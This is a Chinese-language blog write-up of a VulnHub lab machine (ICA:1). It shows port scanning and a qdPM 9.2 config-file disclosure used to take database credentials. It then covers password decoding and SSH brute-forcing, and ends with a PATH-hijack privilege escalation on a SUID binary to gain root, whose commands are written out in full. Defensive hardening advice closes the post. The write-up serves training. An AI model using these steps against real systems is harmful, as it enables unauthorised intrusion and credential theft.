大余每日一攻防ICA: 1(八)
2023-12-8 09:42:56 Author: www.freebuf.com(查看原文) 阅读量:8 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一、网络枚举

1701935080_657177e80bd39c85f9007.png!small?1701935081764
直接发现IP地址192.168.3.208
1701935085_657177eda56b1ed3509da.png!small?1701935087709

扫描端口发现22、80和3306等端口开启。

二、web信息收集

1701935091_657177f31a12f31793390.png!small?1701935091974
使用的是qdPM 9.2系统,查看有没有相关漏洞:
1701935095_657177f761cb8f864ebf6.png!small?1701935096582

https://www.exploit-db.com/exploits/50176

有个数据库信息泄露!

三、数据库枚举

1、获取数据库用户名密码
1701935099_657177fbb5d99fbeebb19.png!small?1701935100798

下载文件:

http://192.168.3.208/core/config/databases.yml

1701935104_65717800405b0ac7029c5.png!small?1701935105944
得到用户名和密码。

qdpmadmin
UcVQCMQk2STVeS6J

2、登录数据库

mysql -u qdpmadmin -h 192.168.3.208 -p
UcVQCMQk2STVeS6J

1701935109_65717805c46ada8eb5043.png!small?1701935110732

查看一下数据库里的信息,在staff数据库中发现了用户名和密码:
1701935114_6571780a081914569d8bc.png!small?1701935114730

1701935128_6571781801d749e2885e7.png!small?1701935129013

1701935133_6571781d9feb8955a4a5e.png!small?1701935134518

四、密码解密爆破

通过base64解密后:
1701935139_6571782308f32a268effd.png!small?1701935139639

1701935143_65717827cd2a5494c917f.png!small?1701935144968
把密码用base64解密一下,保存在pass.txt文件中,账号保存在user中进行爆破:
1701935148_6571782c7303ed1faf971.png!small?1701935149593

dexter 7ZwV4qtg42cmUXGX
travis DJceVy98W28Y7wLg

发现两组账号和密码!

五、IDA分析提权

1701935152_65717830c095659609f62.png!small?1701935154785

ssh [email protected] 

提示访问系统时存在弱点,可执行文件的内容是部分可见的,需要找出是否存在漏洞??

那就先看一下有权限的文件:

find / -perm -u=s 2>/dev/null

1701935157_65717835ada7f4ba53cf8.png!small?1701935158463
发现有个get_access文件比较可疑,查看一下:
1701935162_6571783a02ae91f9c6df3.png!small?1701935162991
导出到本地IDA分析:
1701935166_6571783e7be7e3d81af21.png!small?1701935168176
IDA逆向分析:
1701935170_6571784228f8813a92515.png!small?1701935171012
发现会以root权限查看文件,可以通过伪造一个文件名为cat的可执行文件,文件内容为/bin/bash,并将文件路径设置为环境变量,这样执行get_access的时候,就会执行我们伪造的cat文件,从而使我们获得root权限:

echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
echo $PATH
export PATH=/tmp:$PATH
/opt/get_access

1701935174_65717846cd9b8827460c8.png!small?1701935176295
成功获得root权限!

六、代码审计

这段代码是PHP语言编写的,并涉及qdPM项目:引入了引入check.php文件用于检查系统配置和环境的代码!
1701935179_6571784b3f4a4f65a6b13.png!small?1701935180885
1701935182_6571784ee803ee3526589.png!small?17019351840351701935192_657178584cac816aea983.png!small?1701935192972

在check源码中:

if(!is_file('core/config/databases.yml'))

会检查是否存在core/config/databases.yml文件,如果不存在,则重定向到安装页面。通过前面攻击确实是存在的,防护建议:

1、移动到安全目录
将databases.yml文件移动到服务器不可公开访问的目录,确保它不能通过HTTP直接访问。

mv core/config/databases.yml /path/to/non-public/directory

2、禁用目录列表
确保Web服务器配置禁用目录列表功能,防止恶意用户浏览文件系统。

3、访问权限
对databases.yml文件设置适当的文件系统权限,确保只有授权用户或进程能够读取。

chmod 600 /path/to/non-public/directory/databases.yml

4、额外的访问控制
在Web服务器配置中,添加额外的访问控制,如使用.htaccess文件(对于Apache服务器)或其他方式,确保只有授权用户能够访问这些敏感文件。

示例Apache .htaccess文件:

<Files "databases.yml">
    Require all denied
</Files>

这将禁止直接访问databases.yml文件。

通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!

扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!

1701847681_657022811043209291287.png!small?1701847682244

欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。

1701847704_65702298ccb7a072cd4c7.png!small?1701847708052


文章来源: https://www.freebuf.com/vuls/386042.html
如有侵权请联系:admin#unsafe.sh